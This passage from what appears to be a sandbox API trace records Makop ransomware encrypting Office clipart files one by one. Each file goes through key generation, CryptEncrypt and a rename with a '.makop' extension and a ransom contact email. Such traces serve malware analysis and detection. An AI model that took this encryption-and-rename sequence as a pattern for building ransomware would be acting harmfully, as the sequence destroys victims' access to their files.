param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0125.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.850] GetProcessHeap () returned 0x48a0000 [0125.850] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.850] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.850] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.851] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0125.855] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.855] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.855] GetProcessHeap () returned 0x48a0000 [0125.855] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.855] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.855] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.855] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.855] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.856] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.856] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.856] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.856] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.856] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.856] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.856] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.856] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x54d4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x54d4, lpOverlapped=0x0) returned 1 [0125.859] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x54e0, dwBufLen=0x54e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x54e0) returned 1 [0125.859] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.859] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x54e0, lpOverlapped=0x0) returned 1 [0125.860] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x55b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.860] SetEndOfFile (hFile=0xf0) returned 1 [0125.868] GetProcessHeap () returned 0x48a0000 [0125.868] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.868] GetProcessHeap () returned 0x48a0000 [0125.868] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.868] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.869] CloseHandle (hObject=0xf0) returned 1 [0125.870] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x45f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157191.WMF", cAlternateFileName="")) returned 1 [0125.870] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0125.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.870] GetProcessHeap () returned 0x48a0000 [0125.871] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.871] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.871] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.876] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.876] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.876] GetProcessHeap () returned 0x48a0000 [0125.876] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.877] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.877] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.877] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.877] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.877] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.877] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.878] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.878] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.878] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.878] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.878] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x45f8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x45f8, lpOverlapped=0x0) returned 1 [0125.880] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4600, dwBufLen=0x4600 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4600) returned 1 [0125.880] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.880] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4600, lpOverlapped=0x0) returned 1 [0125.880] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.880] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x46d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.880] SetEndOfFile (hFile=0xf0) returned 1 [0125.888] GetProcessHeap () returned 0x48a0000 [0125.888] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.888] GetProcessHeap () returned 0x48a0000 [0125.888] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.888] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.888] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.890] CloseHandle (hObject=0xf0) returned 1 [0125.890] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c84, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157831.WMF", cAlternateFileName="")) returned 1 [0125.890] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0125.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.891] GetProcessHeap () returned 0x48a0000 [0125.891] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.891] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.891] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.892] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0125.896] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.896] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.896] GetProcessHeap () returned 0x48a0000 [0125.896] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.896] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.896] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.896] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.897] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.897] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.897] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.897] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.897] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.897] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.898] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.898] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.898] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2c84, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2c84, lpOverlapped=0x0) returned 1 [0125.899] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2c90, dwBufLen=0x2c90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2c90) returned 1 [0125.899] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.900] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2c90, lpOverlapped=0x0) returned 1 [0125.900] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.900] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.900] SetEndOfFile (hFile=0xf0) returned 1 [0125.907] GetProcessHeap () returned 0x48a0000 [0125.907] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.907] GetProcessHeap () returned 0x48a0000 [0125.907] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.907] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.909] CloseHandle (hObject=0xf0) returned 1 [0125.909] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158071.WMF", cAlternateFileName="")) returned 1 [0125.909] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0125.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.910] GetProcessHeap () returned 0x48a0000 [0125.910] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.910] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.910] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.910] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.914] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.914] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.914] GetProcessHeap () returned 0x48a0000 [0125.914] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.914] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.915] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.915] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.915] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.915] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.916] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.916] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.916] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x48dc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x48dc, lpOverlapped=0x0) returned 1 [0125.918] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x48e0, dwBufLen=0x48e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x48e0) returned 1 [0125.918] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.918] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x48e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x48e0, lpOverlapped=0x0) returned 1 [0125.918] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.918] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x49b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.918] SetEndOfFile (hFile=0xf0) returned 1 [0125.926] GetProcessHeap () returned 0x48a0000 [0125.926] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.926] GetProcessHeap () returned 0x48a0000 [0125.926] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.926] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 